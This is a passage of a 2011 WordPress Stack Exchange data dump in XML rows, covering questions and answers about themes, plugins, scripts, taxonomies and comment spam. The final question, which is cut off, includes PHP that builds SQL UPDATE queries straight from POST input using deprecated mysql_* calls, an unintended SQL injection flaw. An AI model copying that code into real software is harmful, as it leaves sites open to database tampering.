title&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-01T07:39:57.863" LastActivityDate="2011-08-01T07:39:57.863" />
  <row Id="24571" PostTypeId="2" ParentId="24562" CreationDate="2011-08-01T08:09:42.033" Score="3" ViewCount="" Body="&lt;p&gt;If you look at the &lt;a href=&quot;http://en.gravatar.com/site/implement/images/&quot; rel=&quot;nofollow&quot;&gt;Gravatar API&lt;/a&gt; you will see that you can call a user specific and specify  a default so here a built proof way to get the the image url in your code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$email = $comment-&amp;gt;comment_author_email;&#xA;$size = 60;&#xA;$rating = get_option('avatar_rating');&#xA;$default = urlencode( 'http://www.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=' . $size );&#xA;$grav_url = 'http://www.gravatar.com/avatar/'. md5( strtolower( trim( $email ) ) ). '?s=' . $size . '&amp;amp;r=' . $rating . '&amp;amp;d=' . $default;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;gravatars&quot; style=&quot;background: url(&amp;lt;?php echo $grav_url ?&amp;gt;)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you have no need for conditional checks.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-01T08:09:42.033" CommentCount="3" />
  <row Id="24572" PostTypeId="2" ParentId="24563" CreationDate="2011-08-01T08:44:11.817" Score="3" ViewCount="" Body="&lt;p&gt;To remove the Gallery Short-code completely add this to your themes function.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_shortcode('gallery', 'gallery_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-01T08:44:11.817" />
  <row Id="24573" PostTypeId="1" CreationDate="2011-08-01T08:57:58.900" Score="0" ViewCount="33" Body="&lt;p&gt;I need this function: when user edit article, he can use media library to insert image, but only the image he upload it (he can't use image that upload by other user)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how could I implement it ?&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="7505" LastActivityDate="2011-08-01T10:01:42.923" Title="Insert image from media library that upload by me" Tags="&lt;media&gt;&lt;library&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24574" PostTypeId="1" AcceptedAnswerId="25289" CreationDate="2011-08-01T09:29:42.223" Score="0" ViewCount="43" Body="&lt;p&gt;I'm getting this error in FireFox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: jQuery(domChunk).live is not a function Source File: http://www.bradford.nhs.uk/wp-includes/js/thickbox/thickbox.js?ver=3.1-20110528 Line: 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add thickbox to href &amp;amp; area elements that have a class of .thickbox&#xA;function tb_init(domChunk){&#xA;    jQuery(domChunk).live('click', tb_click);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thickbox seems to be a build in WordPress feature but the theme we are using uses prettyPhoto.&lt;/p&gt;&#xA;" OwnerUserId="970" LastEditorUserId="970" LastEditorDisplayName="" LastEditDate="2011-08-03T08:46:45.477" LastActivityDate="2011-08-08T09:46:42.717" Title="Error jQuery(domChunk).live is not a function" Tags="&lt;plugins&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="24575" PostTypeId="2" ParentId="20313" CreationDate="2011-08-01T09:29:52.137" Score="0" ViewCount="" Body="&lt;p&gt;@Satish... Thanks a lot man! I don't know if you're solution worked for the question asker, but it worked for me! I has spent 2 days trying things with 'comments_clauses' and 'pre_get_comments', and had given up! &lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-01T09:29:52.137" />
  <row Id="24576" PostTypeId="2" ParentId="24573" CreationDate="2011-08-01T10:01:42.923" Score="-1" ViewCount="" Body="&lt;p&gt;The image library in WordPress is available to all editors/authors of the blog, so I can't see how this could be implemented. I guess you don't want give them access to the images you've uploaded, but... why? Can't you just tell the user that he always must upload at least one image to the post he writes?&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-01T10:01:42.923" />
  <row Id="24577" PostTypeId="2" ParentId="1482" CreationDate="2011-08-01T10:29:09.817" Score="0" ViewCount="" Body="&lt;p&gt;Thanks for the code, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_filter('parse_query', 'mymo_parse_query_useronly' )   OR   add_action('pre_get_posts','users_own_attachments')  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ONLY EFFECT ON UPLOAD.PHP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but, when I wrote article and use insert image from media library (media-upload.php), it still show images uploaded by other user, how could I fix it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sonic &lt;/p&gt;&#xA;" OwnerUserId="7505" LastActivityDate="2011-08-01T10:29:09.817" />
  <row Id="24578" PostTypeId="1" CreationDate="2011-08-01T10:48:15.803" Score="0" ViewCount="47" Body="&lt;p&gt;I am using the Modest theme from elegant themes at &lt;a href=&quot;http://lilsaintz.co.nz&quot; rel=&quot;nofollow&quot;&gt;http://lilsaintz.co.nz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the slider on the homepage, there are three content areas that are generated from pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make one of the content areas a &quot;Latest News&quot; element showing the last 5 posts from the blog (category = blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bearing in mind that I am a complete WP novice - although I am really good at following instructions :) - what would be the best way to go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7506" LastActivityDate="2011-08-01T13:53:41.027" Title="Newbie Question: How to create a &quot;latest news&quot; page showing a list of posts from blog category" Tags="&lt;posts&gt;&lt;categories&gt;&lt;pages&gt;&lt;get-posts&gt;" AnswerCount="2" />
  <row Id="24579" PostTypeId="1" CreationDate="2011-08-01T11:13:12.350" Score="3" ViewCount="33" Body="&lt;p&gt;Got an issue on a site where deleting a comment with replies (where threaded commenting is activated), leads to the child comments being orphaned, causing unexpected behaviour (such as the orphaned comments attaching themselves to the latest comment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't looked into this yet, but before I do, is this a known problem with threaded comments, or a theme specific problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of hooking into whatever the hook is for deleting comments to not actually delete the comment, but replace it with something like [deleted] - good idea, or not?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-08-01T13:49:23.760" Title="Threaded comments - deleting parent comment leads to orphan comments" Tags="&lt;comments&gt;&lt;threading&gt;&lt;deleting&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24580" PostTypeId="1" AcceptedAnswerId="24583" CreationDate="2011-08-01T11:44:19.547" Score="3" ViewCount="99" Body="&lt;p&gt;For efficiency we are trying to hook some JS scripts only a certain page template of a theme that is to hold a form:  page-with-form.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the theme functions.php we've defined a init_method as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method(){&#xA;&#xA;    $dir = get_bloginfo('stylesheet_directory').&quot;/js/jquery.js&quot;;&#xA;    wp_deregister_script('jquery');&#xA;        wp_register_script('jquery',$dir);&#xA;    wp_enqueue_script('jquery');&#xA;&#xA;    $dir = get_bloginfo('stylesheet_directory').&quot;/js/jquery.validate.min.js&quot;;&#xA;    wp_deregister_script('jquery.validate.min');&#xA;        wp_register_script('jquery.validate',$dir);&#xA;    wp_enqueue_script('jquery.validate.min');&#xA;&#xA;    $dir = get_bloginfo('stylesheet_directory').&quot;/js/funcion.js&quot;;&#xA;    wp_deregister_script('funcion');&#xA;        wp_register_script('funcion',$dir);&#xA;    wp_enqueue_script('funcion');&#xA;}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We then expected we could just add at the firts line of page-with-form.php page template (before get_header()) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this not possible?&lt;/li&gt;&#xA;&lt;li&gt;Are we forced to add an if rule to the functions.php function to detect that we are on that page?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Code modifications based on answers:&lt;/em&gt;&lt;/strong&gt;&#xA;On the page template load the function directly, no need to add_action(&quot;init&quot;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_init_method();&#xA;...&#xA;get_header();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7310" LastEditorUserId="7310" LastEditorDisplayName="" LastEditDate="2011-08-04T13:16:07.673" LastActivityDate="2011-08-04T13:35:22.773" Title="Conditional wp_enqueue_script on a page" Tags="&lt;wp-enqueue-script&gt;&lt;add-action&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="24581" PostTypeId="2" ParentId="24580" CreationDate="2011-08-01T11:53:14.013" Score="3" ViewCount="" Body="&lt;p&gt;When you loaded your template file, you already passed the &lt;code&gt;'template_redirect'&lt;/code&gt; hook, which is too late (See: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Plugin/Action API Reference&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set the &lt;code&gt;add_action&lt;/code&gt; call in your functions.php file, which is loaded before the &lt;code&gt;after_setup_theme&lt;/code&gt; hook - which is the first available hook for themes.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-04T13:35:22.773" LastActivityDate="2011-08-04T13:35:22.773" />
  <row Id="24582" PostTypeId="1" AcceptedAnswerId="24594" CreationDate="2011-08-01T12:03:32.180" Score="0" ViewCount="39" Body="&lt;p&gt;Is there any way to get only parent terms from custom taxonomy or category?&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-01T14:14:29.353" Title="How can I get only parent terms?" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="2" />
  <row Id="24583" PostTypeId="2" ParentId="24580" CreationDate="2011-08-01T12:26:40.070" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;init&lt;/code&gt; is much earlier than page template loading and not appropriate place for enqueues (despite many tutorials and docs using it for that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook your function to &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; and make sure you are doing that hooking before &lt;code&gt;wp_head()&lt;/code&gt; call in template.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-01T12:26:40.070" CommentCount="7" />
  <row Id="24584" PostTypeId="2" ParentId="24580" CreationDate="2011-08-01T12:35:13.387" Score="3" ViewCount="" Body="&lt;p&gt;In addition to using the correct hook (as pointed out by @Rarst), you will need to move your functional code to &lt;code&gt;functions.php&lt;/code&gt;, and wrap the function contents in an &lt;code&gt;if ( is_page( 'page-with-form' ) )&lt;/code&gt; conditional.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-01T12:35:13.387" CommentCount="5" />
  <row Id="24586" PostTypeId="2" ParentId="24582" CreationDate="2011-08-01T13:03:47.337" Score="1" ViewCount="" Body="&lt;p&gt;use the 'parent' parameter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-01T13:03:47.337" />
  <row Id="24587" PostTypeId="1" AcceptedAnswerId="24616" CreationDate="2011-08-01T13:09:04.310" Score="1" ViewCount="72" Body="&lt;p&gt;How do I skip wordpress's 404 handling and redirect all 404 errors for static files to 404.html?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read and it seems its not possible when using permalinks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective is to reduce the server load for 404 errors by not loading php.&lt;/p&gt;&#xA;" OwnerUserId="5384" LastEditorUserId="5384" LastEditorDisplayName="" LastEditDate="2011-08-02T23:43:53.360" LastActivityDate="2011-09-02T11:14:26.177" Title="How do I skip wordpress's 404 handling and redirect all 404 errors for static files to 404.html?" Tags="&lt;redirect&gt;&lt;htaccess&gt;&lt;404-error&gt;" AnswerCount="4" />
  <row Id="24589" PostTypeId="2" ParentId="24578" CreationDate="2011-08-01T13:29:05.223" Score="1" ViewCount="" Body="&lt;p&gt;Probably the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts&lt;/a&gt; tag. It's simple, you just need a loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $args = array( 'numberposts' =&amp;gt; 5, 'cat' =&amp;gt; 5 );&#xA;   $postslist = get_posts( $args );&#xA;   foreach ($postslist as $post) :  setup_postdata($post); ?&amp;gt; &#xA;   &amp;lt;div&amp;gt;&#xA;    &amp;lt;?php the_date(); ?&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;?php the_title(); ?&amp;gt;   &#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will show the last 5 posts from the category with ID &lt;strong&gt;5&lt;/strong&gt;. &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;Complete parameters list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastActivityDate="2011-08-01T13:29:05.223" />
  <row Id="24590" PostTypeId="2" ParentId="24579" CreationDate="2011-08-01T13:49:23.760" Score="1" ViewCount="" Body="&lt;p&gt;Had this problem on a site where commenter's would post comments to the wrong posts and comment threads, had to move thousands of comments from one post to more appropriate posts on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/move-wordpress-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/move-wordpress-comments/&lt;/a&gt; for fixing threading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the plugin you have the option of turning the child comments into parent comments or threading them under another comment. Can also move them to different posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful with it though, as you've found if you break the threading the orphaned child comments don't play nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also used this plugin &lt;a href=&quot;http://www.dountsis.com/projects/move-comments/&quot; rel=&quot;nofollow&quot;&gt;http://www.dountsis.com/projects/move-comments/&lt;/a&gt; for moving comments around in bulk (the other plugin is one comment at a time, perfect for the odd comment/thread issue). If you have an entire thread for example you want to move to another post this plugin can speed the migration process. Like the above plugin easy to orphan child comments, so take your time planning the moves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2011-08-01T13:49:23.760" />
  <row Id="24591" PostTypeId="2" ParentId="24578" CreationDate="2011-08-01T13:53:41.027" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#A_Page_of_Posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6982" LastActivityDate="2011-08-01T13:53:41.027" />
  <row Id="24592" PostTypeId="2" ParentId="4191" CreationDate="2011-08-01T14:02:32.903" Score="0" ViewCount="" Body="&lt;p&gt;Hey klimas, thanks for the tip.&#xA;I've been looking for a solution for quite a while and this is exactly what I've been looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just didn't use the User Role Editor plugin, changed the editor's role capabilities in functions.php instead like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get the &quot;author&quot; role object&#xA;$role = get_role('editor');&#xA;&#xA;//add &quot;organize_gallery&quot; to this role object&#xA;$role-&amp;gt;add_cap('edit_theme_options'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks Radek&lt;/p&gt;&#xA;" OwnerUserId="7509" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-08-01T18:50:17.797" LastActivityDate="2011-08-01T18:50:17.797" />
  <row Id="24593" PostTypeId="1" AcceptedAnswerId="24637" CreationDate="2011-08-01T14:05:56.193" Score="0" ViewCount="61" Body="&lt;p&gt;I'm using scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; to filter posts through multiple taxonomies (which works great!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd like to allow people to perform further sorting on the results based on custom fields which have numeric values (eg. &lt;code&gt;rate_per__private_session&lt;/code&gt; or &lt;code&gt;rate_per_group&lt;/code&gt;) by clicking on a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that something like the following would be all there was to it but clearly it is not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php query_posts($query_string . '&amp;amp;meta_key=rate_per_private_session'); ?&amp;gt;&quot;&amp;gt;Sort by Rate per Private Session&amp;lt;/a&amp;gt; | &#xA;&amp;lt;a href=&quot;&amp;lt;?php query_posts($query_string . '&amp;amp;meta_key=rate_per_group'); ?&amp;gt;&quot;&amp;gt;Sort by Rate per Group&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="7408" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-01T14:44:28.297" LastActivityDate="2011-08-01T22:06:06.750" Title="Sort posts after filtering them through multiple taxonomies" Tags="&lt;custom-field&gt;&lt;filters&gt;&lt;sort&gt;" AnswerCount="2" />
  <row Id="24594" PostTypeId="2" ParentId="24582" CreationDate="2011-08-01T14:14:29.353" Score="1" ViewCount="" Body="&lt;p&gt;Yes, just pass in the parent parameter to &lt;code&gt;get_terms&lt;/code&gt; when you call it, as Michael pointed out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myterms = get_terms( 'taxonomy_name_here', array( 'parent' =&amp;gt; 0 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will return all terms that have a parent value of &lt;code&gt;0&lt;/code&gt;, ie. top level terms.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-01T14:14:29.353" CommentCount="3" />
  <row Id="24595" PostTypeId="1" AcceptedAnswerId="24596" CreationDate="2011-08-01T14:30:08.513" Score="1" ViewCount="37" Body="&lt;p&gt;I keep getting spammed by the same user, well different name and site listed but always the same email, IP, and comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the email is &lt;code&gt;1p@ultradrugbuy.com&lt;/code&gt;, the IP is &lt;code&gt;31.184.238.9&lt;/code&gt;, and the message is long and always the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I block this person from commenting?&lt;/li&gt;&#xA;&lt;li&gt;I have over a hundred pending from them, is there a way to mark them all as&#xA;spam?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-08-01T14:45:40.327" Title="How to block a someone from commenting?" Tags="&lt;spam&gt;" AnswerCount="1" />
  <row Id="24596" PostTypeId="2" ParentId="24595" CreationDate="2011-08-01T14:36:48.960" Score="2" ViewCount="" Body="&lt;p&gt;In &lt;code&gt;Settings &amp;gt; Discussion &amp;gt; Comment Blacklist&lt;/code&gt;. You can blacklist comments based on content, name, url, e-mail, or IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mark the comments as spam, what I would do, is to do a search for his IP and then there is a checkbox that will select all, then just mark as spam. Trick is, it only applies to the comments listed on the page, but it is still better to do a few and a lot.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-08-01T14:45:40.327" LastActivityDate="2011-08-01T14:45:40.327" CommentCount="1" />
  <row Id="24597" PostTypeId="1" AcceptedAnswerId="24605" CreationDate="2011-08-01T15:10:16.407" Score="1" ViewCount="28" Body="&lt;p&gt;As the title says, how can i increase the login expiration period?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a local install it's a little annoying to have to keep logging in, despite the fact i have the browser remember login credentials it's an extra step i have to perform everytime i fire up the local server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume if i increase the cookie expiration period i'll avoid the need to keep logging in(as often).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have googled and searched the forums, but all i found were unresponded to threads and i'm not in the mood for digging through code to work it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need an in-depth answer, just some pointers on suitable hooks(if any exist for this purpose), i can work out the rest from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off to find somewhere cool to sit now, upstairs is roasting hot right now(hot weather here) i think the laptop might just die if i keep it on any longer, i'll be keeping tabs on the question from another system in a cooler area of the house though and looking forward to any pointers you guys have for me.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-01T15:54:19.240" Title="How can i increase the login expiration length?" Tags="&lt;login&gt;&lt;expiry&gt;&lt;extend&gt;" AnswerCount="2" />
  <row Id="24599" PostTypeId="1" CreationDate="2011-08-01T15:33:37.560" Score="0" ViewCount="25" Body="&lt;p&gt;I'm trying to make a popularity calculation for all posts, based on page view and date of creation. Initially, there's a default popularity value saved in postmeta. Every hour I want to recalculate the popularity among all posts by cron job. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I update all post's popularity in postmeta table?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="5210" LastEditorDisplayName="" LastEditDate="2011-08-01T16:24:21.603" LastActivityDate="2011-09-01T00:37:45.647" Title="How to query and update one colum in postmeta table?" Tags="&lt;post-meta&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24600" PostTypeId="1" AcceptedAnswerId="24604" CreationDate="2011-08-01T15:36:48.183" Score="0" ViewCount="30" Body="&lt;p&gt;Right now, I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mr_np_activate(){&#xA;    // hook uninstall&#xA;    if ( function_exists('register_uninstall_hook') )&#xA;        register_uninstall_hook(__FILE__,'mr_np_uninstall');        &#xA;}&#xA;register_activation_hook(__FILE__,'mr_np_activate');&#xA;&#xA;&#xA;/**&#xA; * Delete options&#xA; *&#xA; **/    &#xA;&#xA;&#xA;function mr_np_uninstall() {&#xA;    delete_option('my_plugins_options'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I remove my plugin, all my options are there. (I made another plugin just to show my options). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete options when plugin is removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[]'s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Homem Robô&lt;/p&gt;&#xA;" OwnerUserId="7512" LastActivityDate="2011-08-01T15:53:08.603" Title="How can I delete options with register_uninstall_hook?" Tags="&lt;plugins&gt;&lt;uninstallation&gt;" AnswerCount="1" />
  <row Id="24601" PostTypeId="1" CreationDate="2011-08-01T15:36:51.513" Score="1" ViewCount="26" Body="&lt;p&gt;I'm a novice with php and mysql so please be kind. The problem is I'm calling a database which has various states open, closed, pending etc, all this works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I click next on my paging links the page just reloads to the start page with all states visible and the first 6 rows visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code seems to work fine as the url of next, prev page as a different start number for the start of the database query eg (http:/wordpress/?page_id=1072?s=6&amp;amp;np=3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this could be to with wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dbc = mysql_connect (DB_HOST, DB_USER, DB_PASSWORD) ;&#xA;mysql_select_db (DB_NAME) ;&#xA;&#xA;/*state control buttons */&#xA;&#xA;echo &quot;&amp;lt;div id=\&quot;shownew\&quot;&amp;gt;&amp;lt;table class=\&quot;showhide\&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;p&amp;gt;&amp;lt;form method=\&quot;post\&quot; action=\&quot;&quot;.htmlentities($_SERVER['REQUEST_URI']).&quot;\&quot;&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;showopen\&quot; VALUE=\&quot;\&quot; class=\&quot;show_open\&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;td&amp;gt;&amp;lt;p&amp;gt;&amp;lt;form method=\&quot;post\&quot; action=\&quot;&quot;.htmlentities($_SERVER['REQUEST_URI']).&quot;\&quot;&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;showpending\&quot; VALUE=\&quot;\&quot; class=\&quot;show_pending\&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;td&amp;gt;&amp;lt;p&amp;gt;&amp;lt;form method=\&quot;post\&quot; action=\&quot;&quot;.htmlentities($_SERVER['REQUEST_URI']).&quot;\&quot;&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;showclosed\&quot; VALUE=\&quot;\&quot; class=\&quot;show_closed\&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;td&amp;gt;&amp;lt;p&amp;gt;&amp;lt;form method=\&quot;post\&quot; action=\&quot;&quot;.htmlentities($_SERVER['REQUEST_URI']).&quot;\&quot;&amp;gt;&amp;lt;INPUT TYPE=\&quot;submit\&quot; name=\&quot;show_all\&quot; VALUE=\&quot;\&quot; class=\&quot;show_all\&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;&#xA;$self = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ;&#xA;/* Status set code */&#xA;&#xA;if (isset($_POST['close'])) {&#xA;    $close_row = $_POST['close_row'];&#xA;    $close = &quot;UPDATE support_users SET status = 'Closed', date_altered = NOW() WHERE ticket_number=$close_row&quot;;&#xA;    $closeresult = @mysql_query ($close);&#xA;    $viewstate = $_POST['viewstate'];&#xA;}&#xA;&#xA;if (isset($_POST['open'])) {&#xA;    $close_row = $_POST['close_row'];&#xA;    $close = &quot;UPDATE support_users SET status = 'Open', date_altered = NOW() WHERE ticket_number=$close_row&quot;;&#xA;    $closeresult = @mysql_query ($close);&#xA;    $viewstate = $_POST['viewstate'];&#xA;}&#xA;&#xA;if (isset($_POST['pending'])) {&#xA;    $close_row = $_POST['close_row'];&#xA;    $close = &quot;UPDATE support_users SET status = 'Pending', date_altered = NOW() WHERE ticket_number=$close_row&quot;;&#xA;    $closeresult = @mysql_query ($close);&#xA;    $viewstate = $_POST['viewstate'];&#xA;}&#xA;&#xA;if (isset($_POST['pending_ami'])) {&#xA;    $close_row = $_POST['close_row'];&#xA;    $close = &quot;UPDATE support_users SET status = 'Pending AMI', date_altered = NOW() WHERE ticket_number=$close_row&quot;;&#xA;    $closeresult = @mysql_query ($close);&#xA;    $viewstate = $_POST['viewstate'];&#xA;}&#xA;&#xA;if (isset($_POST['pending_arp'])) {&#xA;    $close_row = $_POST['close_row'];&#xA;    $close = &quot;UPDATE support_users SET status = 'Pending ARP', date_altered = NOW() WHERE ticket_number=$close_row&quot;;&#xA;    $closeresult = @mysql_query ($close);&#xA;    $viewstate = $_POST['viewstate'];&#xA;}&#xA;&#xA;/* View state set code */&#xA;&#xA;if (isset($_POST['showopen'])) {&#xA;    $viewstate='open';&#xA;}&#xA;&#xA;if (isset($_POST['showpending'])) {&#xA;    